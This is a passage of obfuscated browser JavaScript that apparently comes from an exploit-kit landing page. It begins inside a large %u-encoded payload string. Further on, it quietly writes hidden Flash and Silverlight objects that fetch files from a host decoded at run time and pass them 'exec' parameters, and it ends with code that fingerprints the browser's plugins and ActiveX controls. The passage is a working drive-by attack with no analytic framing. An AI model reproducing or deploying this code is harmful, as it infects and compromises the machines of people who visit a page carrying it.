0B07%u0101%u0B07%u0101%u0B07%u0101%u0106%u1010%u0706%u0906%u0609%u010D%u1001%u0509%u0B02%u0301%u0101%u0101%u0C09%u0709%u010D%u0101%u0101%u0101%u0B07%u0101%u0106%u1010%u0706%u0D06%u0609%u010D%u1001%u0509%u0701%u0301%u0101%u0101%u080D%u0709%u050C%u0101%u0101%u0101%u0102%u0101%u0101%u0101%u0B07%u0101%u0E09%u0709%u050C%u0101%u0101%u0101%u0106%u1010%u070C%u010E%u0101%u0101%u0101%u0B07%u0101%u0B07%u0402%u1010%u070C%u010D%u0101%u0101%u0101%u1010%u0706%u0D07%u0609%u010D%u1001%u0509%u090E%u0201%u0101%u0101%u0C09%u0709%u010E%u0101%u0101%u0101%u0209%u0904%u0304%u0101%u0104%u0101%u1001%u0609%u070D%u0201%u0101%u0101%u0707%u0209%u0908%u0401%u0101%u0104%u1001%u0609%u0B0C%u0201%u0101%u0101%u080D%u0709%u090B%u0101%u0101%u0101%u0501%u0101%u0101%u0101%u0B07%u0101%u0E09%u0709%u090B%u0101%u0101%u0101%u0106%u0E09%u0709%u050B%u0101%u0101%u0101%u0106%u0B07%u0101%u0907%u0601%u0101%u0101%u0103%u1010%u070C%u010D%u0101%u0101%u0101%u1010%u0706%u0D07%u0609%u010D%u1001%u0509%u0909%u0201%u0101%u0101%u0B07%u0105%u0907%u0101%u0102%u0101%u0101%u1010%u070C%u050B%u0101%u0101%u0101%u0B07%u0101%u1010%u0706%u0903%u0609%u010D%u1001%u0509%u0F07%u0201%u0101%u0101%u0A09%u0709%u050A%u0101%u0101%u0101%u080D%u0709%u010B%u0101%u0101%u0101%u0101%u0101%u0101%u0101%u0E09%u0709%u0D0B%u0101%u0101%u0101%u0106%u1010%u070C%u050B%u0101%u0101%u0101%u1010%u070C%u050A%u0101%u0101%u0101%u1010%u070C%u010D%u0101%u0101%u0101%u1010%u0706%u0507%u0C09%u0709%u0D0B%u0101%u0101%u0101%u0201%u0709%u010B%u0101%u0101%u0101%u0409%u0910%u0101%u0C09%u0709%u010B%u0101%u0101%u0101%u0A09%u0709%u0D0A%u0101%u0101%u0101%u1010%u070C%u0109%u0101%u0101%u0101%u090F%u0904%u0301%u0101%u0101%u0409%u050D%u0501%u0C09%u0F0C%u050A%u0101%u0101%u0101%u0204%u0A0D%u0C04%u0F09%u010B%u0101%u0101%u0101%u0E08%u0E02%u0406%u0A09%u040D%u0204%u030E%u0A09%u090D%u0810%u0410%u0A09%u090E%u0C09%u0F0A%u0109%u0101%u0101%u0101%u0106%u0B09%u0501%u0402%u0104%u0501%u1001%u0906%u0C06%u0205%u0C0F%u0C0E%u0707%u0209%u1004%u010A%u010A%u0608%u0301%u1010%u080E%u0707%u0209%u1004%u0E05%u0B06%u1001%u0609%u090E%u0101%u0101%u0101%u0C09%u1006%u0D04%u0209%u0D04%u1002%u0106%u0605%u0101%u0101%u1001%u0609%u090D%u0101%u0101%u0101%u1010%u070C%u0509%u0101%u0101%u0101%u0907%u0501%u0201%u0101%u0101%u1010%u0706%u0503%u1010%u070C%u0909%u0101%u0101%u0101%u1010%u070C%u0509%u0101%u0101%u0101%u090F%u0304%u0301%u0101%u0101%u0409%u050D%u0901%u0B07%u0101%u0B07%u0101%u0B07%u0301%u0B07%u0101%u0B07%u0101%u0907%u0101%u0101%u0101%u010D%u1010%u070C%u0509%u0101%u0101%u0101%u1010%u0706%u0104%u0609%u010D%u1001%u0509%u0709%u0101%u0101%u0101%u0106%u0B07%u0101%u0A09%u040F%u0B07%u0101%u0406%u1010%u070C%u0D0A%u0101%u0101%u0101%u1010%u070C%u050A%u0101%u0101%u0101%u0106%u1010%u0706%u0504%u0906%u1010%u0706%u0904%u0C09%u0709%u0D09%u0101%u0101%u0101%u0204%u0C0E%u0A09%u0902%u1010%u070C%u050A%u0101%u0101%u0101%u090F%u1002%u0301%u0101%u0101%u0409%u050D%u0501%u0509%u010D%u0508%u0502%u1010%u070C%u010A%u0101%u0101%u0101%u1010%u070C%u0D09%u0101%u0101%u0101%u090F%u070D%u0201%u0101%u0101%u0409%u050D%u0901%u1010%u070C%u0509%u0101%u0101%u0101%u1010%u070C%u0D09%u0101%u0101%u0101%u090F%u030C%u0201%u0101%u0101%u0409%u050D%u0901%u090F%u0101%u0101%u0101%u0101%u0906%u0601%u0203%u0301%u0101%u0101%u0B07%u0101%u0A09%u040F%u0406%u0B07%u0101%u0706%u0106%u0B07%u0101%u0B07%u0101%u1010%u0706%u0D04%u0C06%u0609%u010D%u0508%u0701%u0B07%u1010%u0106%u1010%u0706%u0105%u0C0F%u0101%u0409%u050D%u0901%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0A09%u0608%u0D10%u0A09%u0606%u0910%u0A09%u0E05%u0510%u0409%u0D0F%u0102%u0204%u010D%u0507%u0C09%u0106%u0902%u0C09%u0306%u0104%u0C09%u0306%u0D01%u0C09%u0308%u0D02%u0A09%u0310%u0409%u0B10%u0101%u0508%u0404%u0C09%u0306%u0901%u0C09%u0B05%u0D04%u0E09%u0D01%u0B01%u0C09%u0A05%u0908%u0E09%u0D01%u0B01%u0C09%u0A05%u0D01%u0E09%u0501%u0B01%u0106%u1010%u0608%u0901%u090F%u0B10%u0101%u0101%u0101%u0409%u050D%u0901%u0509%u010D%u0508%u0F01%u0C04%u0702%u0608%u0501%u0204%u030E%u0C0F%u0701%u0C09%u0704%u0A09%u0310%u0C0F%u090D%u0A09%u010E%u0C0F%u0101%u0409%u050D%u0501%u0A06%u0B06%u0F06%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0C09%u0605%u0901%u0106%u1010%u0706%u0D02%u0C0F%u0101%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0C09%u0605%u0D01%u0C09%u0E06%u0901%u0106%u0406%u1010%u0706%u0103%u0C0F%u0101%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0A09%u0608%u0D10%u0A09%u0E08%u0910%u0A09%u0E05%u0510%u0A09%u0E06%u0110%u0409%u0D0F%u0902%u0204%u0A0D%u0C09%u0E06%u0901%u0C09%u0C05%u0D04%u0E09%u0D01%u0A02%u0C09%u0A05%u0908%u0E09%u0501%u0A02%u0C09%u0905%u0503%u0E09%u0D01%u0A02%u0A09%u0E05%u0D0F%u0C09%u0905%u0902%u0C09%u0108%u0D02%u0E09%u0504%u0F02%u0C09%u0908%u0103%u0E09%u0D04%u1002%u0409%u0607%u090F%u0101%u0409%u0A10%u0101%u0F08%u0503%u0806%u0C09%u1004%u0E09%u0D04%u0C04%u1010%u0608%u0D01%u0806%u090F%u0107%u0101%u0101%u0101%u0409%u050D%u0901%u1006%u0D04%u0101%u0608%u0301%u0C0F%u0C01%u0409%u080D%u0501%u0204%u010D%u1010%u0605%u090F%u0A05%u0C0F%u080E%u0C09%u0605%u090F%u0C09%u0E05%u0D0F%u0E09%u0501%u0205%u1001%u080C%u0101%u0E09%u0501%u0709%u0C09%u0101%u0E09%u0501%u0401%u0C0F%u0101%u0409%u050D%u0901%u0C06%u0A06%u1006%u0F06%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0A09%u0E06%u0D10%u0A09%u0E05%u0910%u0A09%u0608%u0510%u0409%u0D0F%u0102%u0C09%u0608%u0901%u0D10%u0D0B%u0509%u010D%u0608%u0C10%u0C03%u0608%u0901%u0A09%u0110%u0905%u0C0F%u0101%u0409%u050D%u0501%u0F06%u0A06%u0C06%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0A09%u0E06%u0D10%u0A09%u0E08%u0910%u0A09%u0606%u0510%u0409%u0D0F%u0102%u0C09%u0E06%u0901%u0C09%u0E08%u0D01%u0B09%u0401%u0509%u010D%u0508%u0B02%u0D04%u0207%u0D08%u0301%u0D03%u0103%u0B09%u0802%u0109%u0B10%u0207%u0D08%u0401%u0109%u0B0F%u0103%u0904%u010E%u0508%u0301%u0C0F%u0501%u0405%u0805%u0C0F%u010F%u0B09%u0801%u0C0F%u0101%u0409%u050D%u0501%u0B06%u1006%u0C06%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0A09%u0E05%u0D10%u0A09%u0E08%u0910%u0A09%u0608%u0510%u0409%u0D0F%u0102%u1010%u0608%u0901%u090F%u0D08%u1010%u1010%u1010%u0409%u050D%u0501%u0106%u1010%u0608%u0D01%u090F%u0108%u1010%u1010%u1010%u0409%u050D%u0501%u1006%u0401%u0E08%u0901%u0C09%u0608%u0D01%u0A09%u020D%u0D10%u0410%u050B%u0104%u010D%u0B0B%u0C0F%u0101%u0409%u050D%u0501%u0F06%u1006%u0A06%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0A09%u0E06%u0D10%u0A09%u0E05%u0910%u0A09%u0606%u0510%u0409%u0D0F%u0102%u0C09%u0E06%u0901%u0204%u030E%u0C09%u0406%u0D04%u0E09%u0D06%u0402%u0702%u0204%u0A0D%u0707%u0C09%u0C01%u0204%u010D%u0707%u0810%u020D%u0101%u0103%u1001%u060A%u010D%u0C0F%u0101%u0409%u050D%u0501%u0B06%u0A06%u0C06%u0A09%u0D0F%u0E06%u040D%u0606%u0A09%u060F%u0C09%u0608%u0901%u0C09%u0705%u0D05%u0105%u0109%u0904%u040D%u0608%u0B10%u0106%u0C09%u0605%u0501%u0A09%u0605%u0901%u0C09%u0709%u0D09%u0101%u0101%u0101%u0A09%u0605%u0101%u080D%u0605%u0501%u0101%u0101%u0101%u0101%u1010%u0707%u0902%u0C0F%u0101%u0A09%u0D0F%u0E06%u040D';
  875.       Dh6QOpzOl59b7rM(L3lP8xjN2zbaU, H6TKi1mnySp1X3, ZIr5VU69Nd4o4, YLyIzVBMySSP);
  876.   }
  877.   if (window.sf325gtgs7sfdf1) {
  878.       var klfg1 = 'wri',
  879.           klfg2 = 'te';
  880.  
  881.       function getKolaio() {
  882.           return BbGdosiW(SCZEchne1SCZEchne3);
  883.       }
  884.  
  885.       function getTxl(a) {
  886.           return BbGdosiW(SCZEchnf1SCZEchnf3);
  887.       }
  888.  
  889.       function getData(a) {
  890.           return BbGdosiW(SCZEchnh1SCZEchnh3);
  891.       }
  892.       var mirtul = "1";
  893.       var txt = '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="1" height="1" id="23kjsdf">';
  894.       txt = txt + '<param name="movie" value="http://' + getKolaio() + '/' + getTxl(mirtul) + '" />';
  895.       txt = txt + '<param name="play" value="true"/>';
  896.       txt = txt + '<param name=FlashVars value="exec=' + getData(mirtul) + '" />';
  897.       txt = txt + '<!--[if !IE]>-->';
  898.       txt = txt + '<object type="application/x-shockwave-flash" data="http://' + getKolaio() + '/' + getTxl(mirtul) + '" allowScriptAccess=always width="1" height="1">';
  899.       txt = txt + '<param name="movie" value="http://' + getKolaio() + '/' + getTxl(mirtul) + '" />';
  900.       txt = txt + '<param name="play" value="true"/>';
  901.       txt = txt + '<param name=FlashVars value="exec=' + getData(mirtul) + '" />';
  902.       txt = txt + '<!--<![endif]-->';
  903.       txt = txt + '<!--[if !IE]>--></object><!--<![endif]-->';
  904.       txt = txt + '</object>';
  905.       document[klfg1 + klfg2](txt);
  906.   }
  907.   if (window.sf325gtgs7sfds && !window.sf325gtgs7sfdf1) {
  908.       var klfg1 = 'wri',
  909.           klfg2 = 'te';
  910.  
  911.       function getKolaio() {
  912.           return BbGdosiW(SCZEchnb1SCZEchnb3);
  913.       }
  914.  
  915.       function getTxl() {
  916.           return BbGdosiW(SCZEchnd1SCZEchnd3);
  917.       }
  918.  
  919.       function getData() {
  920.           return BbGdosiW(SCZEchnv1SCZEchnv3);
  921.       }
  922.       document[klfg1 + klfg2]('<form id="form1" runat="server" style="height: 100%"><div id="silverlightControlHost"><object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%"><param name="source" value="http://' + getKolaio() + '/' + getTxl() + '" /><param name="initParams" value="exteeec=' + getData() + '"/></object></div></form>');
  923.   }
  924.   var ldklfgo;
  925.   var klfg1 = 'wri',
  926.       klfg2 = 'te';
  927.   ldklfgo = {
  928.       isDefined: function(b) {
  929.           return typeof b != "undefined"
  930.       },
  931.       isArray: function(b) {
  932.           return (/array/i).test(Object.prototype.toString.call(b))
  933.       },
  934.       isFunc: function(b) {
  935.           return typeof b == "function"
  936.       },
  937.       isString: function(b) {
  938.           return typeof b == "string"
  939.       },
  940.       isNum: function(b) {
  941.           return typeof b == "number"
  942.       },
  943.       isStrNum: function(b) {
  944.           return (typeof b == "string" && (/\d/).test(b))
  945.       },
  946.       getNumRegx: /[\d][\d\.\_,\-]*/,
  947.       splitNumRegx: /[\.\_,\-]/g,
  948.       getNum: function(b, c) {
  949.           var d = this,
  950.               a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  951.           return a ? a[0] : null
  952.       },
  953.       compareNums: function(h, f, d) {
  954.           var e = this,
  955.               c, b, a, g = parseInt;
  956.           if (e.isStrNum(h) && e.isStrNum(f)) {
  957.               if (e.isDefined(d) && d.compareNums) {
  958.                   return d.compareNums(h, f)
  959.               }
  960.               c = h.split(e.splitNumRegx);
  961.               b = f.split(e.splitNumRegx);
  962.               for (a = 0; a < Math.min(c.length, b.length); a++) {
  963.                   if (g(c[a], 10) > g(b[a], 10)) {
  964.                       return 1
  965.                   }
  966.                   if (g(c[a], 10) < g(b[a], 10)) {
  967.                       return -1
  968.                   }
  969.               }
  970.           }
  971.           return 0
  972.       },
  973.       formatNum: function(b, c) {
  974.           var d = this,
  975.               a, e;
  976.           if (!d.isStrNum(b)) {
  977.               return null
  978.           }
  979.           if (!d.isNum(c)) {
  980.               c = 4
  981.           }
  982.           c--;
  983.           e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  984.           for (a = 0; a < 4; a++) {
  985.               if (/^(0+)(.+)$/.test(e[a])) {
  986.                   e[a] = RegExp.$2
  987.               }
  988.               if (a > c || !(/\d/).test(e[a])) {
  989.                   e[a] = "0"
  990.               }
  991.           }
  992.           return e.slice(0, 4).join(",")
  993.       },
  994.       getPROP: function(d, b, a) {
  995.           var c;
  996.           try {
  997.               if (d) {
  998.                   a = d[b]
  999.               }
  1000.           } catch (c) {}
  1001.           return a
  1002.       },
  1003.       findNavPlugin: function(l, e, c) {
  1004.           var j = this,
  1005.               h = new RegExp(l, "i"),
  1006.               d = (!j.isDefined(e) || e) ? /\d/ : 0,
  1007.               k = c ? new RegExp(c, "i") : 0,
  1008.               a = navigator.plugins,
  1009.               g = "",
  1010.               f, b, m;
  1011.           for (f = 0; f < a.length; f++) {
  1012.               m = a[f].description || g;
  1013.               b = a[f].name || g;
  1014.               if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  1015.                   if (!k || !(k.test(m) || k.test(b))) {
  1016.                       return a[f]
  1017.                   }
  1018.               }
  1019.           }
  1020.           return null
  1021.       },
  1022.       getMimeEnabledPlugin: function(k, m, c) {
  1023.           var e = this,
  1024.               f, b = new RegExp(m, "i"),
  1025.               h = "",
  1026.               g = c ? new RegExp(c, "i") : 0,
  1027.               a, l, d, j = e.isString(k) ? [k] : k;
  1028.           for (d = 0; d < j.length; d++) {
  1029.               if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  1030.                   l = f.description || h;
  1031.                   a = f.name || h;
  1032.                   if (b.test(l) || b.test(a)) {
  1033.                       if (!g || !(g.test(l) || g.test(a))) {
  1034.                           return f
  1035.                       }
  1036.                   }
  1037.               }
  1038.           }
  1039.           return 0
  1040.       },
  1041.       getVersionDelimiter: ",",
  1042.       findPlugin: function(d) {
  1043.           var c = this,
  1044.               b, d, a = {
  1045.                   status: -3,
  1046.                   plugin: 0
  1047.               };
  1048.           if (c.DOM) {
  1049.               c.DOM.initDiv()
  1050.           }
  1051.           if (!c.isString(d)) {
  1052.               return a
  1053.           }
  1054.           if (d.length == 1) {
  1055.               c.getVersionDelimiter = d;
  1056.               return a
  1057.           }
  1058.           d = d.toLowerCase().replace(/\s/g, "");
  1059.           b = c.Plugins[d];
  1060.           if (!b || !b.getVersion) {
  1061.               return a
  1062.           }
  1063.           a.plugin = b;
  1064.           a.status = 1;
  1065.           return a
  1066.       },
  1067.       AXO: window.ActiveXObject,
  1068.       getAXO: function(a) {
  1069.           var d = null,
  1070.               c, b = this;
  1071.           try {
  1072.               d = new b.AXO(a)
  1073.           } catch (c) {};
  1074.           return d
  1075.       },
  1076.       browser: {},
  1077.       INIT: function() {
  1078.           this.init.library(this)
  1079.       },
  1080.       init: {
  1081.           $: 1,
  1082.           hasRun: 0,
  1083.           objProperties: function(d, e, b) {
  1084.               var a, c = {};
  1085.               if (e && b) {
  1086.                   if (e[b[0]] === 1 && !d.isArray(e) && !d.isFunc(e) && !d.isString(e) && !d.isNum(e)) {
  1087.                       for (a = 0; a < b.length; a = a + 2) {
  1088.                           e[b[a]] = b[a + 1];
  1089.                           c[b[a]] = 1
  1090.                       }
  1091.                   }
  1092.                   for (a in e) {
  1093.                       if (!c[a] && e[a] && e[a][b[0]] === 1) {
  1094.                           this.objProperties(d, e[a], b)
  1095.                       }
  1096.                   }
  1097.               }
  1098.           },
  1099.           publicMethods: function(c, f) {
  1100.               var g = this,
  1101.                   b = g.$,
  1102.                   a, d;
  1103.               if (c && f) {
  1104.                   for (a in c) {
  1105.                       try {
  1106.                           if (b.isFunc(c[a])) {
  1107.                               f[a] = c[a](f)
  1108.                           }
  1109.                       } catch (d) {}
  1110.                   }
  1111.               }
  1112.           },
  1113.           plugin: function(a, c) {
  1114.               var d = this,
  1115.                   b = d.$;
  1116.               if (a) {
  1117.                   d.objProperties(b, a, ["$", b, "$$", a]);
  1118.                   if (!b.isDefined(a.getVersionDone)) {
  1119.                       a.installed = null;
  1120.                       a.version = null;
  1121.                       a.version0 = null;
  1122.                       a.getVersionDone = null;
  1123.                       a.pluginName = c
  1124.                   }
  1125.               }
  1126.           },
  1127.           detectIE: function() {
  1128.               var init = this,
  1129.                   $ = init.$,
  1130.                   browser = $.browser,
  1131.                   doc = document,
  1132.                   e, x, tmp, userAgent = navigator.userAgent || "",
  1133.                   progid, progid1, progid2;
  1134.               tmp = doc.documentMode;
  1135.               try {
  1136.                   doc.documentMode = ""
  1137.               } catch (e) {}
  1138.               var testIe = "/*@cc_on!@*/!1";
  1139.               browser.isIE = $.isNum(doc.documentMode) ? !0 : eval(testIe);
  1140.               try {
  1141.                   doc.documentMode = tmp
  1142.               } catch (e) {};
  1143.               browser.verIE = null;
  1144.               if (browser.isIE) {
  1145.                   browser.verIE = ($.isNum(doc.documentMode) && doc.documentMode >= 7 ? doc.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(userAgent) ? parseFloat(RegExp.$1, 10) : 7)
  1146.               };
  1147.               browser.ActiveXEnabled = !1;
  1148.               browser.ActiveXFilteringEnabled = !1;
  1149.               if (browser.isIE) {
  1150.                   try {
  1151.                       browser.ActiveXFilteringEnabled = window.external.msActiveXFilteringEnabled()
  1152.                   } catch (e) {}
  1153.                   progid1 = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "TDCCtl.TDCCtl", "Shell.UIHelper", "HtmlDlgSafeHelper.HtmlDlgSafeHelper", "Scripting.Dictionary"];
  1154.                   progid2 = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl", ];
  1155.                   progid = progid1.concat(progid2);
  1156.                   for (x = 0; x < progid.length; x++) {
  1157.                       if ($.getAXO(progid[x])) {
  1158.                           browser.ActiveXEnabled = !0;
  1159.                           if (!$.dbug) {
  1160.                               break
  1161.                           }
  1162.                       }
  1163.                   }
  1164.                   if (browser.ActiveXEnabled && browser.ActiveXFilteringEnabled) {
  1165.                       for (x = 0; x < progid2.length; x++) {
  1166.                           if ($.getAXO(progid2[x])) {
  1167.                               browser.ActiveXFilteringEnabled = !1;
  1168.                               break
  1169.                           }
  1170.                       }
  1171.                   }
  1172.               }
  1173.           },
  1174.           detectNonIE: function() {
  1175.               var f = this,
  1176.                   d = this.$,
  1177.                   a = d.browser,
  1178.                   e = navigator,
  1179.                   c = a.isIE ? "" : e.userAgent || "",
  1180.                   g = e.vendor || "",
  1181.                   b = e.product || "";
  1182.               a.isGecko = (/Gecko/i).test(b) && (/Gecko\s*\/\s*\d/i).test(c);
  1183.               a.verGecko = a.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(c) ? RegExp.$1 : "0.9") : null;
  1184.               a.isChrome = (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(c);
  1185.               a.verChrome = a.isChrome ? d.formatNum(RegExp.$2) : null;
  1186.               a.isSafari = !a.isChrome && ((/Apple/i).test(g) || !g) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(c);
  1187.               a.verSafari = a.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(c) ? d.formatNum(RegExp.$1) : null;
  1188.               a.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(c);
  1189.               a.verOpera = a.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(c) || 1) ? parseFloat(RegExp.$1, 10) : null
  1190.           },
  1191.           library: function(c) {
  1192.               var e = this,
  1193.                   d = document,
  1194.                   b, a;
  1195.               c.init.objProperties(c, c, ["$", c]);
  1196.               for (a in c.Plugins) {
  1197.                   c.init.plugin(c.Plugins[a], a)
  1198.               }
  1199.               e.publicMethods(c.PUBLIC, c);
  1200.               c.win.init();
  1201.               e.detectIE();
  1202.               e.detectNonIE();
  1203.               c.init.hasRun = 1
  1204.           }
  1205.       },
  1206.       ev: {
  1207.           $: 1,
  1208.           handler: function(d, c, b, a) {
  1209.               return function() {
  1210.                   d(c, b, a)
  1211.               }
  1212.           },
  1213.           fPush: function(b, a) {
  1214.               var c = this,
  1215.                   d = c.$;
  1216.               if (d.isArray(a) && (d.isFunc(b) || (d.isArray(b) && b.length > 0 && d.isFunc(b[0])))) {
  1217.                   a.push(b)
  1218.               }
  1219.           },
  1220.           callArray: function(a) {
  1221.               var b = this,
  1222.                   d = b.$,
  1223.                   c;
  1224.               if (d.isArray(a)) {
  1225.                   while (a.length) {
  1226.                       c = a[0];
  1227.                       a.splice(0, 1);
  1228.                       b.call(c)
  1229.                   }
  1230.               }
  1231.           },
  1232.           call: function(d) {
  1233.               var b = this,
  1234.                   c = b.$,
  1235.                   a = c.isArray(d) ? d.length : -1;
  1236.               if (a > 0 && c.isFunc(d[0])) {
  1237.                   d[0](c, a > 1 ? d[1] : 0, a > 2 ? d[2] : 0, a > 3 ? d[3] : 0)
  1238.               } else {
  1239.                   if (c.isFunc(d)) {
  1240.                       d(c)
  1241.                   }
  1242.               }
  1243.           }
  1244.       },
  1245.       PUBLIC: {
  1246.           getVersion: function(b) {
  1247.               var a = function(h, e, d) {
  1248.                   var f = b.findPlugin(h),
  1249.                       g, c;
  1250.                   if (f.status < 0) {
  1251.                       return null
  1252.                   };
  1253.                   g = f.plugin;
  1254.                   if (g.getVersionDone != 1) {
  1255.                       g.getVersion(null, e, d);
  1256.                       if (g.getVersionDone === null) {
  1257.                           g.getVersionDone = 1
  1258.                       }
  1259.                   }
  1260.                   c = (g.version || g.version0);
  1261.                   c = c ? c.replace(b.splitNumRegx, b.getVersionDelimiter) : c;
  1262.                   return c
  1263.               };
  1264.               return a
  1265.           },
  1266.           onDetectionDone: function(b) {
  1267.               var a = function(j, h, d, c) {
  1268.                   var e = b.findPlugin(j),
  1269.                       k, g;
  1270.                   if (e.status == -3) {
  1271.                       return -1
  1272.                   }
  1273.                   g = e.plugin;
  1274.                   if (!b.isArray(g.funcs)) {
  1275.                       g.funcs = []
  1276.                   };
  1277.                   if (g.getVersionDone != 1) {
  1278.                       k = b.getVersion ? b.getVersion(j, d, c) : b.isMinVersion(j, "0", d, c)
  1279.                   }
  1280.                   if (g.installed != -0.5 && g.installed != 0.5) {
  1281.                       b.ev.call(h);
  1282.                       return 1
  1283.                   }
  1284.                   b.ev.fPush(h, g.funcs);
  1285.                   return 0
  1286.               };
  1287.               return a
  1288.           },
  1289.           hasMimeType: function(b) {
  1290.               var a = function(d) {
  1291.                   if (!b.browser.isIE && d && navigator && navigator.mimeTypes) {
  1292.                       var g, f, c, e = b.isArray(d) ? d : (b.isString(d) ? [d] : []);
  1293.                       for (c = 0; c < e.length; c++) {
  1294.                           if (b.isString(e[c]) && /[^\s]/.test(e[c])) {
  1295.                               g = navigator.mimeTypes[e[c]];
  1296.                               f = g ? g.enabledPlugin : 0;
  1297.                               if (f && (f.name || f.description)) {
  1298.                                   return g
  1299.                               }
  1300.                           }
  1301.                       }
  1302.                   }
  1303.                   return null
  1304.               };
  1305.               return a
  1306.           },
  1307.           z: 0
  1308.       },
  1309.       codebase: {
  1310.           $: 1,
  1311.           isDisabled: function() {
  1312.               var b = this,
  1313.                   c = b.$,
  1314.                   a = c.browser;
  1315.               return a.ActiveXEnabled && a.isIE && a.verIE >= 7 ? 0 : 1
  1316.           },
  1317.           init: function(e) {
  1318.               if (!e.init) {
  1319.                   var c = this,
  1320.                       d = c.$,
  1321.                       a, b;
  1322.                   e.init = 1;
  1323.                   e.min = 0;
  1324.                   e.max = 0;
  1325.                   e.hasRun = 0;
  1326.                   e.version = null;
  1327.                   e.L = 0;
  1328.                   e.altHTML = "";
  1329.                   e.span = document.createElement("span");
  1330.                   e.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
  1331.                   b = e.classID || e.$$.classID || "";
  1332.                   e.tagB = '" ' + ((/clsid\s*:/i).test(b) ? 'classid="' : 'type="') + b + '">' + e.altHTML + "</object>";
  1333.                   for (a = 0; a < e.Lower.length; a++) {
  1334.                       e.Lower[a] = d.formatNum(e.Lower[a]);
  1335.                       e.Upper[a] = d.formatNum(e.Upper[a])
  1336.                   }
  1337.               }
  1338.           },
  1339.           isActiveXObject: function(i, b) {
  1340.               var f = this,
  1341.                   g = f.$,
  1342.                   a = 0,
  1343.                   h, d = i.$$,
  1344.                   c = i.span;
  1345.               if (i.min && g.compareNums(b, i.min) <= 0) {
  1346.                   return 1
  1347.               }
  1348.               if (i.max && g.compareNums(b, i.max) >= 0) {
  1349.                   return 0
  1350.               }
  1351.               c.innerHTML = i.tagA + b + i.tagB;
  1352.               if (g.getPROP(c.firstChild, "object")) {
  1353.                   a = 1
  1354.               };
  1355.               c.innerHTML = "";
  1356.               if (a) {
  1357.                   i.min = b
  1358.               } else {
  1359.                   i.max = b
  1360.               }
  1361.               return a
  1362.           },
  1363.           convert_: function(f, a, b, e) {
  1364.               var d = f.convert[a],
  1365.                   c = f.$;
  1366.               return d ? (c.isFunc(d) ? c.formatNum(d(b.split(c.splitNumRegx), e).join(",")) : b) : d
  1367.           },
  1368.           convert: function(h, c, g) {
  1369.               var e = this,
  1370.                   f = h.$,
  1371.                   b, a, d;
  1372.               c = f.formatNum(c);
  1373.               a = {
  1374.                   v: c,
  1375.                   x: -1
  1376.               };
  1377.               if (c) {
  1378.                   for (b = 0; b < h.Lower.length; b++) {
  1379.                       d = e.convert_(h, b, h.Lower[b]);
  1380.                       if (d && f.compareNums(c, g ? d : h.Lower[b]) >= 0 && (!b || f.compareNums(c, g ? e.convert_(h, b, h.Upper[b]) : h.Upper[b]) < 0)) {
  1381.                           a.v = e.convert_(h, b, c, g);
  1382.                           a.x = b;
  1383.                           break
  1384.                       }
  1385.                   }
  1386.               }
  1387.               return a
  1388.           },
  1389.           isMin: function(g, f) {
  1390.               var d = this,
  1391.                   e = g.$,
  1392.                   c, b, a = 0;
  1393.               d.init(g);
  1394.               return a
  1395.           },
  1396.           search: function(g) {
  1397.               var k = this,
  1398.                   h = k.$,
  1399.                   i = g.$$,
  1400.                   b = 0,
  1401.                   c;
  1402.               k.init(g);
  1403.               c = (g.hasRun || k.isDisabled()) ? 1 : 0;
  1404.               g.hasRun = 1;
  1405.               if (c) {
  1406.                   return g.version
  1407.               };
  1408.               var o, n, m, j = function(q, t) {
  1409.                       var r = [].concat(f),
  1410.                           s;
  1411.                       r[q] = t;
  1412.                       s = k.isActiveXObject(g, r.join(","));
  1413.                       if (s) {
  1414.                           b = 1;
  1415.                           f[q] = t
  1416.                       } else {
  1417.                           p[q] = t
  1418.                       }
  1419.                       return s
  1420.                   },
  1421.                   d = g.DIGITMAX,
  1422.                   e, a, l = 99999999,
  1423.                   f = [0, 0, 0, 0],
  1424.                   p = [0, 0, 0, 0];
  1425.               for (o = 0; o < p.length; o++) {
  1426.                   f[o] = Math.floor(g.DIGITMIN[o]) || 0;
  1427.                   e = f.join(",");
  1428.                   a = f.slice(0, o).concat([l, l, l, l]).slice(0, f.length).join(",");
  1429.                   for (m = 0; m < d.length; m++) {
  1430.                       if (h.isArray(d[m])) {
  1431.                           d[m].push(0);
  1432.                           if (d[m][o] > p[o] && h.compareNums(a, g.Lower[m]) >= 0 && h.compareNums(e, g.Upper[m]) < 0) {
  1433.                               p[o] = Math.floor(d[m][o])
  1434.                           }
  1435.                       }
  1436.                   }
  1437.                   for (n = 0; n < 30; n++) {
  1438.                       if (p[o] - f[o] <= 16) {
  1439.                           for (m = p[o]; m >= f[o] + (o ? 1 : 0); m--) {
  1440.                               if (j(o, m)) {
  1441.                                   break
  1442.                               }
  1443.                           }
  1444.                           break
  1445.                       }
  1446.                       j(o, Math.round((p[o] + f[o]) / 2))
  1447.                   }
  1448.                   if (!b) {
  1449.                       break
  1450.                   }
  1451.                   p[o] = f[o]
  1452.               }
